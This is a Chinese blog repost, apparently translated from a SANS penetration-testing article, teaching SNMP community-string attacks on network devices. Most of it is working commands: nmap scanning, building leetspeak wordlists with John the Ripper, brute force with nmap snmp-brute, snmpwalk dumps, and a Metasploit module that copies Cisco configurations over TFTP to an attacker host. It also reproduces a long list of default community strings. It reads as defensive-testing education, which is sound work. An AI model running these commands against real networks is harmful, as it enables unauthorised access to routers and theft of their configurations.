- 浏览: 279462 次
文章分类
- 全部博客 (276)
- burp+hydra暴力破解 (1)
- kali linux工具集 (6)
- kali (59)
- linux (54)
- password (14)
- web (63)
- 渗透测试 (50)
- windows (40)
- metasploit (9)
- 信息收集 (32)
- burp suit (4)
- 安全审计 (9)
- https://github.com/secretsquirrel/the-backdoor-factory (0)
- nmap (4)
- arachni (2)
- 工具 (5)
- sql (3)
- 网络 (2)
- 后渗透测试 (10)
- 内网 (5)
- 无线 (2)
- C (3)
- bios (1)
- RoR (12)
- mongodb (1)
- linxu (1)
- gdb (1)
- linux,虚拟化 (1)
- python (4)
最新评论
原文地址:http://pen-testing.sans.org/blog/pen-testing/2013/05/31/invasion-of-the-network-snatchers-part-i
个人认为本文精彩的地方在于如何制作暴力破解的字典
在大的组织中,网络设备的认证是通过TACACS或Radius控制的,他们同来集中管理和登录认证。这种方法允许网络管理员使用域帐户登录设备(通常是他们用来检查邮件的帐户)。渗透测试者有很多方法可以攻击者这些帐户,所以我们转移到另一个攻击向量--攻击SNMP。
很多网络设备都可以使用SNMP设备管理和监控。幸运的是,这个服务通常不想其他TCP服务(SSH,HTTP(S),Telnet)进行强化。通常不需要登录,以及不支持logout机制。它包含一些显著的缺点,这对渗透测试者来说是好事。
SNMP有三个版本:1,2C和3.版本1和2C对于渗透测试来说是一样的。他们只通过字符团进行认证,不支持加密或信息完整性验证。版本3修复了一些问题,并且实现了口令保护机制以及传输完整性验证。
猜测v1和v2的口令比较容易,因为v3需要提供username和字符团,而v1/2c不需要。
在我们进行暴力破解之前,我们需要一组支持SNMP的目标。我们使用nmap来扫描:
nmap将会检查-L参数指定的文件中的目标的UDP(-sU)端口161,也就是SNMP端口,将结果保存成nmap的三种格式中,文件名叫output,包含output.nmap, output.gnmap, 和output.xml。为了提高速度和效率,禁止主机发现检查(-PN),这样我们只发送一个数据包到161端口。值得注意的一点是:这个扫描充分利用SNMPv3版本的返回响应(未授权的响应)的这个特点,并且它可能漏掉只支持v2c或v1的设备。从技术上讲,我们将会得到支持SNMPv3的设备,但是通常这些设备都支持v2c(甚至v1).所以在许多组织,使用SNMPv3的列表将会被用于暴力破解v2c和v1.
现在我们获得允许SNMP的设备
接下来我们尝试猜测用于认证的v1/v2c的字符团。通常有两种字符团:读写和只读。管理员通常回来字符团后面追加访问级别来区分不同的字符团(例如sometext-read/sometext-write, sometext-public/sometext-private),现在我们创建一组基础词组和一组后缀,然后组合他们。
现在我们通过基本词组和后缀创建一个组合词组
管理元通常使用l337sp34k(https://en.wikipedia.org/wiki/Leet)来是密码更难猜测,John the Ripper支持一个该特性
KoreLogic(http://contest-2010.korelogic.com/rules.html)上的人给John the Ripper开发了很多好的rules。使用规则很简单--下载规则,把规则追加到/etc/john/john.conf文件中
然后给我们的字符团进行规则处理
同时我们也需要下载一个默认的口令列表(https://code.google.com/p/fuzzdb/source/browse/trunk/wordlists-misc/wordlist-common-snmp-community-strings.txt)。我们将使用组合后的列表,l33t处理后的列表以及默认列表组成一个更大的字典。然后删除重复的以及超过20个单词的字符串。
现在使用nmap的snmp-brute模块进行破解
我们获得了一个口令,从他的名字上看,很可能是读写权限的口令。现在我们从设备上获取信息
对于SNMP,数据和设备配置组成一个层级树。树上的每一个位置叫做OID。可以使用snmpwalk 来获取信息
我们可以使用SNMP查询SysDescr (OID 1.3.6.1.2.1.1.1) 来获得设别的细节:
我们可以从一个使用SNMP和TFTP的思科设备上dump配置文件。可以使用metasploit来简化工作:
管理员通常在整个网络中使用相同的字符团。所以一旦我们获得了一个设备的字符团,我们可以使用它来试探全部网络。RHOSTS选项接收多个目标,甚至是文件msf>
然后我们可以在/tmp/文件夹下获得很多配置文件。
注意:
1. V1和2c 只在正确的字符团下才会响应,V3则把响应作为加密的一部分。
2. kali中可以使用onesixtyone来进行暴力破解
3. windows中可以使用SNScan
http://www.mcafee.com/us/downloads/free-tools/snscan.aspx
4. snmp默认口令:https://code.google.com/p/fuzzdb/source/browse/trunk/wordlists-misc/wordlist-common-snmp-community-strings.txt
public
private
0
0392a0
1234
2read
4changes
ANYCOM
Admin
C0de
CISCO
CR52401
IBM
ILMI
Intermec
NoGaH$@!
OrigEquipMfr
PRIVATE
PUBLIC
Private
Public
SECRET
SECURITY
SNMP
SNMP_trap
SUN
SWITCH
SYSTEM
Secret
Security
Switch
System
TENmanUFactOryPOWER
TEST
access
adm
admin
agent
agent_steal
all
all private
all public
apc
bintec
blue
c
cable-d
canon_admin
cc
cisco
community
core
debug
default
dilbert
enable
field
field-service
freekevin
fubar
guest
hello
hp_admin
ibm
ilmi
intermec
internal
l2
l3
manager
mngt
monitor
netman
network
none
openview
pass
password
pr1v4t3
proxy
publ1c
read
read-only
read-write
readwrite
red
regional
rmon
rmon_admin
ro
root
router
rw
rwa
san-fran
sanfran
scotty
secret
security
seri
snmp
snmpd
snmptrap
solaris
sun
superuser
switch
system
tech
test
test2
tiv0li
tivoli
trap
world
write
xyzzy
yellow
个人认为本文精彩的地方在于如何制作暴力破解的字典
在大的组织中,网络设备的认证是通过TACACS或Radius控制的,他们同来集中管理和登录认证。这种方法允许网络管理员使用域帐户登录设备(通常是他们用来检查邮件的帐户)。渗透测试者有很多方法可以攻击者这些帐户,所以我们转移到另一个攻击向量--攻击SNMP。
很多网络设备都可以使用SNMP设备管理和监控。幸运的是,这个服务通常不想其他TCP服务(SSH,HTTP(S),Telnet)进行强化。通常不需要登录,以及不支持logout机制。它包含一些显著的缺点,这对渗透测试者来说是好事。
SNMP有三个版本:1,2C和3.版本1和2C对于渗透测试来说是一样的。他们只通过字符团进行认证,不支持加密或信息完整性验证。版本3修复了一些问题,并且实现了口令保护机制以及传输完整性验证。
猜测v1和v2的口令比较容易,因为v3需要提供username和字符团,而v1/2c不需要。
在我们进行暴力破解之前,我们需要一组支持SNMP的目标。我们使用nmap来扫描:
$ sudo nmap -PN -sU -p 161 -iL targets.txt -oA output
nmap将会检查-L参数指定的文件中的目标的UDP(-sU)端口161,也就是SNMP端口,将结果保存成nmap的三种格式中,文件名叫output,包含output.nmap, output.gnmap, 和output.xml。为了提高速度和效率,禁止主机发现检查(-PN),这样我们只发送一个数据包到161端口。值得注意的一点是:这个扫描充分利用SNMPv3版本的返回响应(未授权的响应)的这个特点,并且它可能漏掉只支持v2c或v1的设备。从技术上讲,我们将会得到支持SNMPv3的设备,但是通常这些设备都支持v2c(甚至v1).所以在许多组织,使用SNMPv3的列表将会被用于暴力破解v2c和v1.
现在我们获得允许SNMP的设备
$ grep '161/open/' output.gnmap | cut -d' ' -f 2 > snmpdevices.txt
接下来我们尝试猜测用于认证的v1/v2c的字符团。通常有两种字符团:读写和只读。管理员通常回来字符团后面追加访问级别来区分不同的字符团(例如sometext-read/sometext-write, sometext-public/sometext-private),现在我们创建一组基础词组和一组后缀,然后组合他们。
$ cat << EOF > basewords.txt companyname CompanyName company Company productname ProductName Admin admin Secret secret EOF $ cat << EOF > suffixes.txt read Read write Write readonly ReadOnly public Public private Private rw RW ro RO EOF
现在我们通过基本词组和后缀创建一个组合词组
$ for GUESS in `cat basewords.txt`; do for SUFFIX in `cat suffixes.txt`; do echo $GUESS$SUFFIX; echo $GUESS-$SUFFIX; done; done > combo-clean.txt $ head -n 5 combo-clean.txt companynameread companyname-read companynameRead companyname-Read companynamewrite
管理元通常使用l337sp34k(https://en.wikipedia.org/wiki/Leet)来是密码更难猜测,John the Ripper支持一个该特性
KoreLogic(http://contest-2010.korelogic.com/rules.html)上的人给John the Ripper开发了很多好的rules。使用规则很简单--下载规则,把规则追加到/etc/john/john.conf文件中
$ wget 'http://contest-2010.korelogic.corules.txt' $ cat rules.txt >> /etc/john/john.conf
然后给我们的字符团进行规则处理
$ john --wordlist:combo-clean.txt --rules:KoreLogicRulesL33t --stdout > combo-l33t.txt
同时我们也需要下载一个默认的口令列表(https://code.google.com/p/fuzzdb/source/browse/trunk/wordlists-misc/wordlist-common-snmp-community-strings.txt)。我们将使用组合后的列表,l33t处理后的列表以及默认列表组成一个更大的字典。然后删除重复的以及超过20个单词的字符串。
$ cat wordlist-common-snmp-community-strings.txt combo-clean.txt combo-l33t.txt | sort -u | grep -vE '.{21,}' > completeguesses.txt
现在使用nmap的snmp-brute模块进行破解
$ nmap -sU 1.2.3.4 --script snmp-brute --script-args snmp-brute.communitiesdb=completeguesses.txt Nmap scan report for 1.2.3.4 PORT STATE SERVICE 161/udp open snmp | snmp-brute: |_ [color=red]C0mpanyNam3-RW - Valid credentials[/color]
我们获得了一个口令,从他的名字上看,很可能是读写权限的口令。现在我们从设备上获取信息
对于SNMP,数据和设备配置组成一个层级树。树上的每一个位置叫做OID。可以使用snmpwalk 来获取信息
$ snmpwalk -c C0mpanyNam3-RW -v 2c 1.2.3.4 1.3.6.1 > ciscosnmpdump.txt
我们可以使用SNMP查询SysDescr (OID 1.3.6.1.2.1.1.1) 来获得设别的细节:
$ snmpget -c C0mpanyNam3-RW -v 2c 1.2.3.4 1.3.6.1.2.1.1.1 Cisco Internetwork Operating System Software IOS (tm) 2500...
我们可以从一个使用SNMP和TFTP的思科设备上dump配置文件。可以使用metasploit来简化工作:
管理员通常在整个网络中使用相同的字符团。所以一旦我们获得了一个设备的字符团,我们可以使用它来试探全部网络。RHOSTS选项接收多个目标,甚至是文件msf>
auxiliary/scanner/snmp/cisco_config_tftp msf auxiliary(cisco_config_tftp)> set LHOST 1.1.1.1 msf auxiliary(cisco_config_tftp)> set OUTPUTDIR /tmp/ msf auxiliary(cisco_config_tftp)> set RHOSTS file:/tmp/snmpdevices.txt msf auxiliary(cisco_config_tftp)> set COMMUNITY C0mpanyNam3-RW msf auxiliary(cisco_config_tftp)> run
然后我们可以在/tmp/文件夹下获得很多配置文件。
注意:
1. V1和2c 只在正确的字符团下才会响应,V3则把响应作为加密的一部分。
2. kali中可以使用onesixtyone来进行暴力破解
root@kali:~# onesixtyone -h onesixtyone: invalid option -- 'h' onesixtyone 0.3.2 [options] <host> <community> -c <communityfile> file with community names to try -i <inputfile> file with target hosts -o <outputfile> output log -d debug mode, use twice for more information -w n wait n milliseconds (1/1000 of a second) between sending packets (default 10) -q quiet mode, do not print log to stdout, use with -l examples: ./s -c dict.txt 192.168.4.1 public ./s -c dict.txt -i hosts -o my.log -w 100
3. windows中可以使用SNScan
http://www.mcafee.com/us/downloads/free-tools/snscan.aspx
4. snmp默认口令:https://code.google.com/p/fuzzdb/source/browse/trunk/wordlists-misc/wordlist-common-snmp-community-strings.txt
public
private
0
0392a0
1234
2read
4changes
ANYCOM
Admin
C0de
CISCO
CR52401
IBM
ILMI
Intermec
NoGaH$@!
OrigEquipMfr
PRIVATE
PUBLIC
Private
Public
SECRET
SECURITY
SNMP
SNMP_trap
SUN
SWITCH
SYSTEM
Secret
Security
Switch
System
TENmanUFactOryPOWER
TEST
access
adm
admin
agent
agent_steal
all
all private
all public
apc
bintec
blue
c
cable-d
canon_admin
cc
cisco
community
core
debug
default
dilbert
enable
field
field-service
freekevin
fubar
guest
hello
hp_admin
ibm
ilmi
intermec
internal
l2
l3
manager
mngt
monitor
netman
network
none
openview
pass
password
pr1v4t3
proxy
publ1c
read
read-only
read-write
readwrite
red
regional
rmon
rmon_admin
ro
root
router
rw
rwa
san-fran
sanfran
scotty
secret
security
seri
snmp
snmpd
snmptrap
solaris
sun
superuser
switch
system
tech
test
test2
tiv0li
tivoli
trap
world
write
xyzzy
yellow
发表评论
-
[转]Tunneling Data and Commands Over DNS to Bypass Firewalls
2015-07-13 20:44 459https://zeltser.com/c2-dns-tunn ... -
[译]从配置错误的web server中dump git数据
2015-03-26 01:07 542原文地址:https://blog.netspi.com/du ... -
[译]解密MSSQL密码
2015-03-26 00:43 2825原文地址: https://blog.ne ... -
自动化Man-in-the-Middle SSHv2攻击
2015-03-18 01:26 1021参考:http://www.david-guembel.de/ ... -
[译]使用wireshark解密TLS浏览器流量
2015-03-12 00:57 4037原文地址:https://jimshaver.net/2015 ... -
[转]John the ripper hash format cheetsheet
2015-03-10 01:30 954原文地址:http://pentestmonkey.net/c ... -
[译]使用Volatility从memory dump获得密码
2014-12-30 12:27 3746原文地址:https://cyberarms.wordpres ... -
man crunch
2014-12-28 23:35 377http://adaywithtape.blogspot.co ... -
password
2014-12-28 17:32 370wordlist: http://hashcrack.blog ... -
Kerberos攻击
2014-12-18 01:39 597参考: 1. http://securityweekly.co ... -
[译]剪切粘贴二进制文件
2014-12-17 01:20 808原文地址:http://pen-testing.sans.or ... -
the-backdoor-factory
2014-11-27 01:30 1884参考:https://github.com/secretsqu ... -
[工具]PCredz
2014-11-26 22:10 509项目地址:https://github.com/lgandx/ ... -
[译]PsExec绕过UAC
2014-11-25 01:15 1116原文地址:http://pen-testing.sans.or ... -
Kerberos 认证过程
2014-11-22 01:06 974... -
[译]phpMyAdmin利用
2014-11-21 02:11 592原文地址:http://pen-testing.sans.or ... -
从域控制器中dump hash(二)
2014-11-21 01:39 743参考:http://blog.cyberis.co.uk/20 ... -
[译]从域控制器中dump hash
2014-11-21 01:29 1199原文地址:http://www.kioptrix.com/bl ... -
[译]用python来玩转Volume Shadow copies
2014-11-20 22:54 1211原文地址:http://pen-testi ... -
[译]通过认证的SMB Sessions攫取信息
2014-11-20 02:06 1201原文地址:http://pen-testing.sans.or ...
相关推荐
NET-SNMP工具的使用 当环境设置好后,运行snmpd,即snmp代理进程,就可以使用管理工具查询其中的信息了。
通过snmp和oid获取电脑的内存硬盘的使用情况和总量
该工具是运行于windows平台的exe可执行文件,跟linux平台的snmpwalk功能类似,使用方法:cmd→cd到该exe文件的目录→snmpwalk.exe + option(通过snmpwalk.exe -h可以获得相关参数及运用方法,包括version、...
宏杉 MS 3000 SNMP使用指导书
snmp的一些原理和操作方法,描述了snmp的功能和报文形式。
使用snmp4j实现Snmp功能使用snmp4j实现Snmp功能
描述如何通过SNMP协议通过网络读取远端电脑的实时性能参数
使用Java进行SNMP编程-SNMP4J-代码实例,代码实例实现了GET, GETNEXT, GETBULK, Walk, SET操作; 提供于做服务器监控的朋友;
这是我学习SNMP从零开始的学习资料,因为这方面的资料网上比较少,现拿出来和大家分享! 目录: docs_1.4.1 jar/jpcap.jar jar/SNMP4J.jar jar/snmp4jclt-1.2.1.zip jar/snmp.jar 基于java的Oid获取软件.rar Java...
Java使用SNMP4J实现snmp trap接口发送消息_20170808_LK
SNMP测试工具,Paessler snmp tester
相信不少初学SNMP协议的同学都会遇到SNMP的安装问题。...附件里是SNMP的独立安装包,可供无系统盘下安装SNMP使用。 PS: 附件里的snmp.exe可能会被误认为病毒,我已亲自试验过,绝非病毒,请大家自己决定是否使用。
qt-snmp,linux,windows,mac,qt-snmp
本人做SNMP网管系统时,用过的最好的SNMP工具。
本文档包括使用SNMP的背景知识,以及如何在常见的平台上禁用SNMP服务等等。
snmp的walk函数的实现,和测试程序
snmp 白皮书snmp 白皮书snmp 白皮书snmp 白皮书
主要介绍了如何在windows下编译net-snmp,需要修改的东西
check_snmp_int 接口状态、主机、交换机、路由器等的使用情况。 check_snmp_process 正在运行的进程、它们的数量、使用的 CPU 和内存。 check_snmp_load 负载/CPU 检查 check_snmp_mem 内存和交换使用情况 check_...